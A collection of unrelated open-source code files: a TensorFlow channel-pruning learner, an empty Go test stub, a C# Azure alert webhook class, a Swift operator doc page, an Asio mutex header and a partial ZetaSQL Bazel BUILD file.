tf.app.flags.DEFINE_string('dcp_save_path_eval', './models_dcp_eval/model.ckpt',
'DCP: model\'s save path for evaluation')
tf.app.flags.DEFINE_float('dcp_prune_ratio', 0.5, 'DCP: target channel pruning ratio')
tf.app.flags.DEFINE_integer('dcp_nb_stages', 3, 'DCP: # of channel pruning stages')
tf.app.flags.DEFINE_float('dcp_lrn_rate_adam', 1e-3, 'DCP: Adam\'s learning rate')
tf.app.flags.DEFINE_integer('dcp_nb_iters_block', 10000, 'DCP: # of iterations for block-wise FT')
tf.app.flags.DEFINE_integer('dcp_nb_iters_layer', 500, 'DCP: # of iterations for layer-wise FT')
def get_vars_by_scope(scope):
"""Get list of variables within certain name scope.
Args:
* scope: name scope
Returns:
* vars_dict: dictionary of list of all, trainable, and maskable variables
"""
vars_dict = {}
vars_dict['all'] = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=scope)
vars_dict['trainable'] = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=scope)
vars_dict['maskable'] = []
conv2d_pattern = re.compile(r'/Conv2D$')
conv2d_ops = get_ops_by_scope_n_pattern(scope, conv2d_pattern)
for var in vars_dict['trainable']:
for op in conv2d_ops:
for op_input in op.inputs:
if op_input.name == var.name.replace(':0', '/read:0'):
vars_dict['maskable'] += [var]
return vars_dict
def get_ops_by_scope_n_pattern(scope, pattern):
"""Get list of operations within certain name scope and also matches the pattern.
Args:
* scope: name scope
* pattern: name pattern to be matched
Returns:
* ops: list of operations
"""
ops = []
for op in tf.get_default_graph().get_operations():
if op.name.startswith(scope) and re.search(pattern, op.name) is not None:
ops += [op]
return ops
def calc_prune_ratio(vars_list):
"""Calculate the overall pruning ratio for the given list of variables.
Args:
* vars_list: list of variables
Returns:
* prune_ratio: overall pruning ratio of the given list of variables
"""
nb_params_nnz = tf.add_n([tf.count_nonzero(var) for var in vars_list])
nb_params_all = tf.add_n([tf.size(var) for var in vars_list])
prune_ratio = 1.0 - tf.cast(nb_params_nnz, tf.float32) / tf.cast(nb_params_all, tf.float32)
return prune_ratio
class DisChnPrunedLearner(AbstractLearner): # pylint: disable=too-many-instance-attributes
"""Discrimination-aware channel pruning learner."""
def __init__(self, sm_writer, model_helper):
"""Constructor function.
Args:
* sm_writer: TensorFlow's summary writer
* model_helper: model helper with definitions of model & dataset
"""
# class-independent initialization
super(DisChnPrunedLearner, self).__init__(sm_writer, model_helper)
# define scopes for full & channel-pruned models
self.model_scope_full = 'model'
self.model_scope_prnd = 'pruned_model'
# download the pre-trained model
if self.is_primary_worker('local'):
self.download_model() # pre-trained model is required
self.auto_barrier()
tf.logging.info('model files: ' + ', '.join(os.listdir('./models')))
# class-dependent initialization
if FLAGS.enbl_dst:
self.helper_dst = DistillationHelper(sm_writer, model_helper, self.mpi_comm)
self.__build_train()
self.__build_eval()
def train(self):
"""Train a model and periodically produce checkpoint files."""
# restore the full model from pre-trained checkpoints
save_path = tf.train.latest_checkpoint(os.path.dirname(self.save_path_full))
self.saver_full.restore(self.sess_train, save_path)
# initialization
self.sess_train.run([self.init_op, self.init_opt_op])
self.sess_train.run(self.layer_init_opt_ops) # initialization for layer-wise fine-tuning
self.sess_train.run(self.block_init_opt_ops) # initialization for block-wise fine-tuning
if FLAGS.enbl_multi_gpu:
self.sess_train.run(self.bcast_op)
# choose discrimination-aware channels
self.__choose_discr_chns()
# fine-tune the model with chosen channels only
time_prev = timer()
for idx_iter in range(self.nb_iters_train):
# train the model
if (idx_iter + 1) % FLAGS.summ_step != 0:
self.sess_train.run(self.train_op)
else:
__, summary, log_rslt = self.sess_train.run([self.train_op, self.summary_op, self.log_op])
if self.is_primary_worker('global'):
time_step = timer() - time_prev
self.__monitor_progress(summary, log_rslt, idx_iter, time_step)
time_prev = timer()
# save the model at certain steps
if self.is_primary_worker('global') and (idx_iter + 1) % FLAGS.save_step == 0:
self.__save_model(is_train=True)
self.evaluate()
# save the final model
if self.is_primary_worker('global'):
self.__save_model(is_train=True)
self.__restore_model(is_train=False)
self.__save_model(is_train=False)
self.evaluate()
def evaluate(self):
"""Restore a model from the latest checkpoint files and then evaluate it."""
self.__restore_model(is_train=False)
nb_iters = int(np.ceil(float(FLAGS.nb_smpls_eval) / FLAGS.batch_size_eval))
eval_rslts = np.zeros((nb_iters, len(self.eval_op)))
for idx_iter in range(nb_iters):
eval_rslts[idx_iter] = self.sess_eval.run(self.eval_op)
for idx, name in enumerate(self.eval_op_names):
tf.logging.info('%s = %.4e' % (name, np.mean(eval_rslts[:, idx])))
def __build_train(self): # pylint: disable=too-many-locals,too-many-statements
"""Build the training graph."""
with tf.Graph().as_default():
# create a TF session for the current graph
config = tf.ConfigProto()
config.gpu_options.visible_device_list = str(mgw.local_rank() if FLAGS.enbl_multi_gpu else 0) # pylint: disable=no-member
sess = tf.Session(config=config)
# data input pipeline
with tf.variable_scope(self.data_scope):
iterator = self.build_dataset_train()
images, labels = iterator.get_next()
# model definition - distilled model
if FLAGS.enbl_dst:
logits_dst = self.helper_dst.calc_logits(sess, images)
# model definition - full model
with tf.variable_scope(self.model_scope_full):
__ = self.forward_train(images)
self.vars_full = get_vars_by_scope(self.model_scope_full)
self.saver_full = tf.train.Saver(self.vars_full['all'])
self.save_path_full = FLAGS.save_path
# model definition - channel-pruned model
with tf.variable_scope(self.model_scope_prnd):
logits_prnd = self.forward_train(images)
self.vars_prnd = get_vars_by_scope(self.model_scope_prnd)
self.maskable_var_names = [var.name for var in self.vars_prnd['maskable']]
self.saver_prnd_train = tf.train.Saver(self.vars_prnd['all'])
# loss & extra evaluation metrics
loss_bsc, metrics = self.calc_loss(labels, logits_prnd, self.vars_prnd['trainable'])
if not FLAGS.enbl_dst:
loss_fnl = loss_bsc
else:
loss_fnl = loss_bsc + self.helper_dst.calc_loss(logits_prnd, logits_dst)
tf.summary.scalar('loss_bsc', loss_bsc)
tf.summary.scalar('loss_fnl', loss_fnl)
for key, value in metrics.items():
tf.summary.scalar(key, value)
# learning rate schedule
self.global_step = tf.train.get_or_create_global_step()
lrn_rate, self.nb_iters_train = self.setup_lrn_rate(self.global_step)
# overall pruning ratios of trainable & maskable variables
pr_trainable = calc_prune_ratio(self.vars_prnd['trainable'])
pr_maskable = calc_prune_ratio(self.vars_prnd['maskable'])
tf.summary.scalar('pr_trainable', pr_trainable)
tf.summary.scalar('pr_maskable', pr_maskable)
# create masks and corresponding operations for channel pruning
self.masks = []
self.mask_deltas = []
self.mask_init_ops = []
self.mask_updt_ops = []
self.prune_ops = []
for idx, var in enumerate(self.vars_prnd['maskable']):
name = '/'.join(var.name.split('/')[1:]).replace(':0', '_mask')
self.masks += [tf.get_variable(name, initializer=tf.ones(var.shape), trainable=False)]
name = '/'.join(var.name.split('/')[1:]).replace(':0', '_mask_delta')
self.mask_deltas += [tf.placeholder(tf.float32, shape=var.shape, name=name)]
self.mask_init_ops += [self.masks[idx].assign(tf.zeros(var.shape))]
self.mask_updt_ops += [self.masks[idx].assign_add(self.mask_deltas[idx])]
self.prune_ops += [var.assign(var * self.masks[idx])]
# build extra losses for regression & discrimination
self.reg_losses, self.dis_losses, self.idxs_layer_to_block = \
self.__build_extra_losses(labels)
self.dis_losses += [loss_bsc] # append discrimination-aware loss for the last block
self.nb_layers = len(self.reg_losses)
self.nb_blocks = len(self.dis_losses)
for idx, reg_loss in enumerate(self.reg_losses):
tf.summary.scalar('reg_loss_%d' % idx, reg_loss)
for idx, dis_loss in enumerate(self.dis_losses):
tf.summary.scalar('dis_loss_%d' % idx, dis_loss)
# obtain the full list of trainable variables & update operations
self.vars_all = tf.get_collection(
tf.GraphKeys.GLOBAL_VARIABLES, scope=self.model_scope_prnd)
self.trainable_vars_all = tf.get_collection(
tf.GraphKeys.TRAINABLE_VARIABLES, scope=self.model_scope_prnd)
self.update_ops_all = tf.get_collection(
tf.GraphKeys.UPDATE_OPS, scope=self.model_scope_prnd)
# TF operations for initializing the channel-pruned model
init_ops = []
with tf.control_dependencies([tf.variables_initializer(self.vars_all)]):
for var_full, var_prnd in zip(self.vars_full['all'], self.vars_prnd['all']):
init_ops += [var_prnd.assign(var_full)]
self.init_op = tf.group(init_ops)
# TF operations for layer-wise, block-wise, and whole-network fine-tuning
self.layer_train_ops, self.layer_init_opt_ops, self.grad_norms = self.__build_layer_ops()
self.block_train_ops, self.block_init_opt_ops = self.__build_block_ops()
self.train_op, self.init_opt_op = self.__build_network_ops(loss_fnl, lrn_rate)
# TF operations for logging & summarizing
self.sess_train = sess
self.summary_op = tf.summary.merge_all()
self.log_op = [lrn_rate, loss_fnl, pr_trainable, pr_maskable] + list(metrics.values())
self.log_op_names = ['lr', 'loss', 'pr_trn', 'pr_msk'] + list(metrics.keys())
if FLAGS.enbl_multi_gpu:
self.bcast_op = mgw.broadcast_global_variables(0)
def __build_eval(self):
"""Build the evaluation graph."""
with tf.Graph().as_default():
# create a TF session for the current graph
config = tf.ConfigProto()
config.gpu_options.visible_device_list = str(mgw.local_rank() if FLAGS.enbl_multi_gpu else 0) # pylint: disable=no-member
self.sess_eval = tf.Session(config=config)
# data input pipeline
with tf.variable_scope(self.data_scope):
iterator = self.build_dataset_eval()
images, labels = iterator.get_next()
# model definition - distilled model
if FLAGS.enbl_dst:
logits_dst = self.helper_dst.calc_logits(self.sess_eval, images)
# model definition - channel-pruned model
with tf.variable_scope(self.model_scope_prnd):
# loss & extra evaluation metrics
logits = self.forward_eval(images)
vars_prnd = get_vars_by_scope(self.model_scope_prnd)
loss, metrics = self.calc_loss(labels, logits, vars_prnd['trainable'])
if FLAGS.enbl_dst:
loss += self.helper_dst.calc_loss(logits, logits_dst)
# overall pruning ratios of trainable & maskable variables
pr_trainable = calc_prune_ratio(vars_prnd['trainable'])
pr_maskable = calc_prune_ratio(vars_prnd['maskable'])
# TF operations for evaluation
self.eval_op = [loss, pr_trainable, pr_maskable] + list(metrics.values())
self.eval_op_names = ['loss', 'pr_trn', 'pr_msk'] + list(metrics.keys())
self.saver_prnd_eval = tf.train.Saver(vars_prnd['all'])
# add input & output tensors to certain collections
tf.add_to_collection('images_final', images)
tf.add_to_collection('logits_final', logits)
def __build_extra_losses(self, labels):
"""Build extra losses for regression & discrimination.
Args:
* labels: one-hot label vectors
Returns:
* reg_losses: list of regression losses (one per layer)
* dis_losses: list of discrimination-aware losses (one per layer)
* idxs_layer_to_block: list of mappings from layer index to block index
"""
# insert additional losses to intermediate layers
pattern = re.compile('Conv2D$')
core_ops_full = get_ops_by_scope_n_pattern(self.model_scope_full, pattern)
core_ops_prnd = get_ops_by_scope_n_pattern(self.model_scope_prnd, pattern)
nb_layers = len(core_ops_full)
nb_blocks = int(FLAGS.dcp_nb_stages + 1)
nb_layers_per_block = int(math.ceil((nb_layers + 1) / nb_blocks))
reg_losses = []
dis_losses = []
idxs_layer_to_block = []
for idx_layer in range(nb_layers):
reg_losses += \
[tf.nn.l2_loss(core_ops_full[idx_layer].outputs[0] - core_ops_prnd[idx_layer].outputs[0])]
idxs_layer_to_block += [int(idx_layer / nb_layers_per_block)]
if (idx_layer + 1) % nb_layers_per_block == 0:
x = core_ops_prnd[idx_layer].outputs[0]
x = tf.layers.batch_normalization(x, axis=3, training=True)
x = tf.nn.relu(x)
x = tf.reduce_mean(x, axis=[1, 2])
x = tf.layers.dense(x, FLAGS.nb_classes)
dis_losses += [tf.losses.softmax_cross_entropy(labels, x)]
tf.logging.info('layer-to-block mapping: {}'.format(idxs_layer_to_block))
return reg_losses, dis_losses, idxs_layer_to_block
def __build_layer_ops(self):
"""Build layer-wise fine-tuning operations.
Returns:
* layer_train_ops: list of training operations for each layer
* layer_init_opt_ops: list of initialization operations for each layer's optimizer
* layer_grad_norms: list of gradient norm vectors for each layer
"""
layer_train_ops = []
layer_init_opt_ops = []
grad_norms = []
for idx, var_prnd in enumerate(self.vars_prnd['maskable']):
optimizer_base = tf.train.AdamOptimizer(FLAGS.dcp_lrn_rate_adam)
if not FLAGS.enbl_multi_gpu:
optimizer = optimizer_base
else:
optimizer = mgw.DistributedOptimizer(optimizer_base)
loss_all = self.reg_losses[idx] + self.dis_losses[self.idxs_layer_to_block[idx]]
grads_origin = optimizer.compute_gradients(loss_all, [var_prnd])
grads_pruned = self.__calc_grads_pruned(grads_origin)
with tf.control_dependencies(self.update_ops_all):
layer_train_ops += [optimizer.apply_gradients(grads_pruned)]
layer_init_opt_ops += [tf.variables_initializer(optimizer_base.variables())]
grad_norms += [tf.reduce_sum(grads_origin[0][0] ** 2, axis=[0, 1, 3])]
return layer_train_ops, layer_init_opt_ops, grad_norms
def __build_block_ops(self):
"""Build block-wise fine-tuning operations.
Returns:
* block_train_ops: list of training operations for each block
* block_init_opt_ops: list of initialization operations for each block's optimizer
"""
block_train_ops = []
block_init_opt_ops = []
for dis_loss in self.dis_losses:
optimizer_base = tf.train.AdamOptimizer(FLAGS.dcp_lrn_rate_adam)
if not FLAGS.enbl_multi_gpu:
optimizer = optimizer_base
else:
optimizer = mgw.DistributedOptimizer(optimizer_base)
loss_all = dis_loss + self.dis_losses[-1] # current stage + final loss
grads_origin = optimizer.compute_gradients(loss_all, self.trainable_vars_all)
grads_pruned = self.__calc_grads_pruned(grads_origin)
with tf.control_dependencies(self.update_ops_all):
block_train_ops += [optimizer.apply_gradients(grads_pruned)]
block_init_opt_ops += [tf.variables_initializer(optimizer_base.variables())]
return block_train_ops, block_init_opt_ops
def __build_network_ops(self, loss, lrn_rate):
"""Build network training operations.
Returns:
* train_op: training operation of the whole network
* init_opt_op: initialization operation of the whole network's optimizer
"""
optimizer_base = tf.train.MomentumOptimizer(lrn_rate, FLAGS.momentum)
if not FLAGS.enbl_multi_gpu:
optimizer = optimizer_base
else:
optimizer = mgw.DistributedOptimizer(optimizer_base)
loss_all = tf.add_n(self.dis_losses[:-1]) * 0 + loss # all stages + final loss
grads_origin = optimizer.compute_gradients(loss_all, self.trainable_vars_all)
grads_pruned = self.__calc_grads_pruned(grads_origin)
with tf.control_dependencies(self.update_ops_all):
train_op = optimizer.apply_gradients(grads_pruned, global_step=self.global_step)
init_opt_op = tf.variables_initializer(optimizer_base.variables())
return train_op, init_opt_op
def __calc_grads_pruned(self, grads_origin):
"""Calculate the mask-pruned gradients.
Args:
* grads_origin: list of original gradients
Returns:
* grads_pruned: list of mask-pruned gradients
"""
grads_pruned = []
for grad in grads_origin:
if grad[1].name not in self.maskable_var_names:
grads_pruned += [grad]
else:
idx_mask = self.maskable_var_names.index(grad[1].name)
grads_pruned += [(grad[0] * self.masks[idx_mask], grad[1])]
return grads_pruned
def __choose_discr_chns(self): # pylint: disable=too-many-locals
"""Choose discrimination-aware channels."""
# select the most discriminative channels through multiple stages
nb_workers = mgw.size() if FLAGS.enbl_multi_gpu else 1
nb_iters_block = int(FLAGS.dcp_nb_iters_block / nb_workers)
nb_iters_layer = int(FLAGS.dcp_nb_iters_layer / nb_workers)
for idx_block in range(self.nb_blocks):
# fine-tune the current block
for idx_iter in range(nb_iters_block):
if (idx_iter + 1) % FLAGS.summ_step != 0:
self.sess_train.run(self.block_train_ops[idx_block])
else:
summary, __ = self.sess_train.run([self.summary_op, self.block_train_ops[idx_block]])
if self.is_primary_worker('global'):
tf.logging.info('iter #%d: writing TF-summary to file' % idx_iter)
self.sm_writer.add_summary(summary, nb_iters_block * idx_block + idx_iter)
# select the most discriminative channels for each layer
for idx_layer in range(1, self.nb_layers): # do not prune the first layer
if self.idxs_layer_to_block[idx_layer] != idx_block:
continue
# initialize the gradient mask
mask_shape = self.sess_train.run(tf.shape(self.masks[idx_layer]))
if self.is_primary_worker('global'):
tf.logging.info('layer #{}: mask\'s shape is {}'.format(idx_layer, mask_shape))
nb_chns = mask_shape[2]
idxs_chn_keep = []
grad_norm_mask = np.ones(nb_chns)
# sequentially add the most important channel to the non-pruned set
is_first_entry = True
while is_first_entry or prune_ratio > FLAGS.dcp_prune_ratio:
# choose the most important channel
grad_norm = self.sess_train.run(self.grad_norms[idx_layer])
idx_chn = np.argmax((grad_norm + 1e-8) * grad_norm_mask) # avoid all-zero gradients
assert idx_chn not in idxs_chn_keep, 'channel #%d already in the non-pruned set' % idx_chn
idxs_chn_keep += [idx_chn]
grad_norm_mask[idx_chn] = 0.0
if self.is_primary_worker('global'):
tf.logging.info('adding channel #%d to the non-pruned set' % idx_chn)
# update the mask
mask_delta = np.zeros(mask_shape)
mask_delta[:, :, idx_chn, :] = 1.0
if is_first_entry:
is_first_entry = False
self.sess_train.run(self.mask_init_ops[idx_layer])
self.sess_train.run(self.mask_updt_ops[idx_layer],
feed_dict={self.mask_deltas[idx_layer]: mask_delta})
self.sess_train.run(self.prune_ops[idx_layer])
# fine-tune the current layer
for idx_iter in range(nb_iters_layer):
self.sess_train.run(self.layer_train_ops[idx_layer])
# re-compute the pruning ratio
mask_vec = np.sum(self.sess_train.run(self.masks[idx_layer]), axis=(0, 1, 3))
prune_ratio = 1.0 - float(np.count_nonzero(mask_vec)) / mask_vec.size
if self.is_primary_worker('global'):
tf.logging.info('layer #%d: prune_ratio = %.4f' % (idx_layer, prune_ratio))
# compute overall pruning ratios
if self.is_primary_worker('global'):
log_rslt = self.sess_train.run(self.log_op)
log_str = ' | '.join(['%s = %.4e' % (name, value)
for name, value in zip(self.log_op_names, log_rslt)])
tf.logging.info('block #%d: %s' % (idx_block + 1, log_str))
def __save_model(self, is_train):
"""Save the current model for training or evaluation.
Args:
* is_train: whether to save a model for training
"""
if is_train:
save_path = self.saver_prnd_train.save(self.sess_train, FLAGS.dcp_save_path, self.global_step)
else:
save_path = self.saver_prnd_eval.save(self.sess_eval, FLAGS.dcp_save_path_eval)
tf.logging.info('model saved to ' + save_path)
def __restore_model(self, is_train):
"""Restore a model from the latest checkpoint files.
Args:
* is_train: whether to restore a model for training
"""
save_path = tf.train.latest_checkpoint(os.path.dirname(FLAGS.dcp_save_path))
if is_train:
self.saver_prnd_train.restore(self.sess_train, save_path)
else:
self.saver_prnd_eval.restore(self.sess_eval, save_path)
tf.logging.info('model restored from ' + save_path)
def __monitor_progress(self, summary, log_rslt, idx_iter, time_step):
"""Monitor the training progress.
Args:
* summary: summary protocol buffer
* log_rslt: logging operations' results
* idx_iter: index of the training iteration
* time_step: time step between two summary operations
"""
# write summaries for TensorBoard visualization
self.sm_writer.add_summary(summary, idx_iter)
# compute the training speed
speed = FLAGS.batch_size * FLAGS.summ_step / time_step
if FLAGS.enbl_multi_gpu:
speed *= mgw.size()
# display monitored statistics
log_str = ' | '.join(['%s = %.4e' % (name, value)
for name, value in zip(self.log_op_names, log_rslt)])
tf.logging.info('iter #%d: %s | speed = %.2f pics / sec' % (idx_iter + 1, log_str, speed))
|
{
"pile_set_name": "Github"
}
|
// Copyright Monax Industries Limited
// SPDX-License-Identifier: Apache-2.0
package names
import (
"testing"
)
// TODO: tests
func TestNewNameRegCache(t *testing.T) {
}
func TestNameRegCache_GetNameRegEntry(t *testing.T) {
}
func TestNameRegCache_UpdateNameRegEntry(t *testing.T) {
}
func TestNameRegCache_RemoveNameRegEntry(t *testing.T) {
}
func TestNameRegCache_Sync(t *testing.T) {
}
func TestNameRegCache_get(t *testing.T) {
}
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) .NET Foundation. All rights reserved.
// Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.
using Newtonsoft.Json;
namespace Microsoft.AspNetCore.WebHooks
{
/// <summary>
/// Provides information about the condition under which the WebHook notification was sent from Azure Alert
/// Service.
/// </summary>
public class AzureAlertCondition
{
/// <summary>
/// Gets or sets the name of the metric that defines what the rule monitors.
/// </summary>
[JsonProperty("metricName")]
public string MetricName { get; set; }
/// <summary>
/// Gets or sets the units allowed in the metric, e.g. 'Bytes' and 'Percent'.
/// See '<c>https://msdn.microsoft.com/en-us/library/microsoft.azure.insights.models.unit.aspx</c>'
/// for details.
/// </summary>
[JsonProperty("metricUnit")]
public string MetricUnit { get; set; }
/// <summary>
/// Gets or sets the actual value of the metric that caused the event.
/// </summary>
[JsonProperty("metricValue")]
public string MetricValue { get; set; }
/// <summary>
/// Gets or sets the threshold value that activates the event.
/// </summary>
[JsonProperty("threshold")]
public string Threshold { get; set; }
/// <summary>
/// Gets or sets the period of time that is used to monitor alert activity based on
/// the threshold. The value is between 5 minutes and 1 day.
/// </summary>
[JsonProperty("windowSize")]
public string WindowSize { get; set; }
/// <summary>
/// Gets or sets how the data is collection, e.g. 'Average' and 'Last'.
/// See '<c>https://msdn.microsoft.com/en-us/library/microsoft.azure.insights.models.aggregationtype.aspx</c>'
/// for details.
/// </summary>
[JsonProperty("timeAggregation")]
public string TimeAggregation { get; set; }
/// <summary>
/// Gets or sets the operator used to compare the data and the threshold.
/// </summary>
[JsonProperty("operator")]
public string Operator { get; set; }
/// <summary>
/// Gets or sets details of an Availability (Web Test) failure.
/// </summary>
/// <remarks>Set in Availability (Web Test) alerts but not Metric alerts.</remarks>
[JsonProperty("failureDetails")]
public string FailureDetails { get; set; }
/// <summary>
/// Gets or sets the name of an Availability (Web Test) alert.
/// </summary>
/// <remarks>Set in Availability (Web Test) alerts but not Metric alerts.</remarks>
[JsonProperty("webTestName")]
public string WebTestName { get; set; }
}
}
|
{
"pile_set_name": "Github"
}
|
---
layout: "default"
title: "Operator: &>>="
description: "Swift documentation for the '&>>=' operator."
root: "/v3.1"
---
<code class="language-swift"> operator &>>= {
associativity right
precedence
assignment
}</code>
<h3>Declarations</h3>
<div class="declaration" id="func-ampgtgteq-t-where-t_-fixedwidthinteger_-inout-t-rhs_-t">
<a class="toggle-link" data-toggle="collapse" href="#comment-func-ampgtgteq-t-where-t_-fixedwidthinteger_-inout-t-rhs_-t">func <wbr>&>>= <T where T : FixedWidthInteger>(<wbr>_:<wbr> inout T, rhs: T)</a>
<div class="comment collapse" id="comment-func-ampgtgteq-t-where-t_-fixedwidthinteger_-inout-t-rhs_-t"><div class="p">
<h4>Declaration</h4>
<code class="language-swift">func &>>=<T where T : FixedWidthInteger>(lhs: inout T, rhs: T)</code>
</div></div>
</div>
<div class="declaration" id="func-ampgtgteq-t-u-where-t_-fixedwidthinteger-u_-binaryinteger_-inout-t-rhs_-u">
<a class="toggle-link" data-toggle="collapse" href="#comment-func-ampgtgteq-t-u-where-t_-fixedwidthinteger-u_-binaryinteger_-inout-t-rhs_-u">func <wbr>&>>= <T, U where T :<wbr> FixedWidthInteger, U : BinaryInteger>(<wbr>_:<wbr> inout T, rhs: U)</a>
<div class="comment collapse" id="comment-func-ampgtgteq-t-u-where-t_-fixedwidthinteger-u_-binaryinteger_-inout-t-rhs_-u"><div class="p">
<h4>Declaration</h4>
<code class="language-swift">func &>>=<T, U where T : FixedWidthInteger, U : BinaryInteger>(lhs: inout T, rhs: U)</code>
</div></div>
</div>
|
{
"pile_set_name": "Github"
}
|
//
// detail/null_static_mutex.hpp
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// Copyright (c) 2003-2018 Christopher M. Kohlhoff (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
#ifndef ASIO_DETAIL_NULL_STATIC_MUTEX_HPP
#define ASIO_DETAIL_NULL_STATIC_MUTEX_HPP
#if defined(_MSC_VER) && (_MSC_VER >= 1200)
# pragma once
#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)
#include "asio/detail/config.hpp"
#if !defined(ASIO_HAS_THREADS)
#include "asio/detail/scoped_lock.hpp"
#include "asio/detail/push_options.hpp"
namespace asio {
namespace detail {
struct null_static_mutex
{
typedef asio::detail::scoped_lock<null_static_mutex> scoped_lock;
// Initialise the mutex.
void init()
{
}
// Lock the mutex.
void lock()
{
}
// Unlock the mutex.
void unlock()
{
}
int unused_;
};
#define ASIO_NULL_STATIC_MUTEX_INIT { 0 }
} // namespace detail
} // namespace asio
#include "asio/detail/pop_options.hpp"
#endif // !defined(ASIO_HAS_THREADS)
#endif // ASIO_DETAIL_NULL_STATIC_MUTEX_HPP
|
{
"pile_set_name": "Github"
}
|
#
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
load("@com_github_grpc_grpc//bazel:cc_grpc_library.bzl", "cc_grpc_library")
load("@io_grpc_grpc_java//:java_grpc_library.bzl", "java_grpc_library")
# ZetaSQL Server
package(default_visibility = ["//zetasql/base:zetasql_implementation"])
cc_library(
name = "local_service",
srcs = ["local_service.cc"],
hdrs = [
"local_service.h",
"state.h",
],
copts = [
"-Wno-char-subscripts",
"-Wno-return-type",
"-Wno-sign-compare",
"-Wno-switch",
"-Wno-unused-but-set-parameter",
"-Wno-unused-function",
"-Wnonnull-compare",
],
deps = [
":local_service_cc_proto",
"//zetasql/base",
"//zetasql/base:map_util",
"//zetasql/base:ret_check",
"//zetasql/base:source_location",
"//zetasql/base:status",
"//zetasql/base:statusor",
"//zetasql/common:errors",
"//zetasql/common:proto_helper",
"//zetasql/proto:options_cc_proto",
"//zetasql/proto:simple_catalog_cc_proto",
"//zetasql/public:analyzer",
"//zetasql/public:builtin_function",
"//zetasql/public:evaluator",
"//zetasql/public:function",
"//zetasql/public:id_string",
"//zetasql/public:language_options",
"//zetasql/public:parse_resume_location",
"//zetasql/public:parse_resume_location_cc_proto",
"//zetasql/public:simple_catalog",
"//zetasql/public:sql_formatter",
"//zetasql/public:templated_sql_tvf",
"//zetasql/public:type",
"//zetasql/public:type_cc_proto",
"//zetasql/public:value",
"//zetasql/public:value_cc_proto",
"//zetasql/resolved_ast",
"//zetasql/resolved_ast:sql_builder",
"@com_google_absl//absl/base:core_headers",
"@com_google_absl//absl/strings",
"@com_google_absl//absl/synchronization",
"@com_google_protobuf//:cc_wkt_protos",
"@com_google_protobuf//:protobuf",
],
)
cc_test(
name = "local_service_test",
srcs = ["local_service_test.cc"],
copts = [
"-Wno-char-subscripts",
"-Wno-return-type",
"-Wno-sign-compare",
"-Wno-switch",
"-Wno-unused-but-set-parameter",
"-Wno-unused-function",
"-Wnonnull-compare",
],
data = [
"//zetasql/testdata:test_schema_proto",
],
tags = ["requires-net:loopback"],
deps = [
":local_service",
"//zetasql/base",
"//zetasql/base:path",
"//zetasql/base:status",
"//zetasql/base/testing:status_matchers",
"//zetasql/common:status_payload_utils",
"//zetasql/common/testing:proto_matchers",
"//zetasql/proto:function_cc_proto",
"//zetasql/proto:simple_catalog_cc_proto",
"//zetasql/public:parse_resume_location_cc_proto",
"//zetasql/public:simple_catalog",
"//zetasql/public:simple_table_cc_proto",
"//zetasql/public:type",
"//zetasql/public:type_cc_proto",
"//zetasql/public:value",
"//zetasql/public:value_cc_proto",
"//zetasql/testdata:test_schema_cc_proto",
"@com_google_absl//absl/strings",
"@com_google_googletest//:gtest_main",
"@com_google_protobuf//:cc_wkt_protos",
"@com_google_protobuf//:protobuf",
],
)
cc_test(
name = "local_service_benchmark",
srcs = ["local_service_benchmark.cc"],
copts = [
"-Wno-char-subscripts",
"-Wno-return-type",
"-Wno-sign-compare",
"-Wno-switch",
"-Wno-unused-but-set-parameter",
"-Wno-unused-function",
"-Wnonnull-compare",
],
deps = [
":local_service",
":local_service_cc_proto",
"//zetasql/base",
"//zetasql/base:status",
"//zetasql/base/testing:status_matchers",
"@com_github_google_benchmark//:benchmark_main",
"@com_google_absl//absl/base",
"@com_google_absl//absl/status",
],
)
proto_library(
name = "local_service_proto",
srcs = ["local_service.proto"],
deps = [
"//zetasql/proto:function_proto",
"//zetasql/proto:options_proto",
"//zetasql/proto:simple_catalog_proto",
"//zetasql/public:options_proto",
"//zetasql/public:parse_resume_location_proto",
"//zetasql/public:simple_table_proto",
"//zetasql/public:type_proto",
"//zetasql/public:value_proto",
"//zetasql/resolved_ast:resolved_ast_proto",
"@com_google_protobuf//:descriptor_proto",
"@com_google_protobuf//:empty_proto",
],
)
cc_proto_library(
name = "local_service_cc_proto",
deps = [":local_service_proto"],
)
cc_grpc_library(
name = "local_service_cc_grpc",
srcs = [":local_service_proto"],
grpc_only = True,
deps = [":local_service_cc_proto"],
)
cc_library(
name = "local_service_grpc",
srcs = ["local_service_grpc.cc"],
hdrs = ["local_service_grpc.h"],
copts = [
"-Wno-char-subscripts",
"-Wno-return-type",
"-Wno-sign-compare",
"-Wno-switch",
"-Wno-unused-but-set-parameter",
"-Wno-unused-function",
"-Wnonnull-compare",
],
deps = [
":local_service",
":local_service_cc_grpc",
":local_service_cc_proto",
"//zetasql/base:status",
"//zetasql/proto:options_cc_proto",
"//zetasql/public:parse_resume_location_cc_proto",
"//zetasql/public:simple_table_cc_proto",
],
)
java_proto_library(
name = "local_service_java_proto",
deps = [":local_service_proto"],
)
java_grpc_library(
name = "local_service_java_grpc",
srcs = [":local_service_proto"],
deps = [
":local_service_java_proto",
"//zetasql/proto:options_java_proto",
"//zetasql/public:parse_resume_location_java_proto",
"//zetasql/public:simple_table_java_proto",
],
)
cc_library(
name = "local_service_jni",
srcs = ["local_service_jni.cc"],
hdrs = ["local_service_jni.h"],
copts = [
"-Wno-char-subscripts",
"-Wno-return-type",
"-Wno-sign-compare",
"-Wno-switch",
"-Wno-unused-but-set-parameter",
"-Wno-unused-function",
"-Wnonnull-compare",
],
linkstatic = 1,
deps = [
":local_service_grpc",
"//zetasql/jdk:jni",
"@com_github_grpc_grpc//:grpc++",
],
alwayslink = 1,
)
cc_binary(
name = "liblocal_service_jni.so",
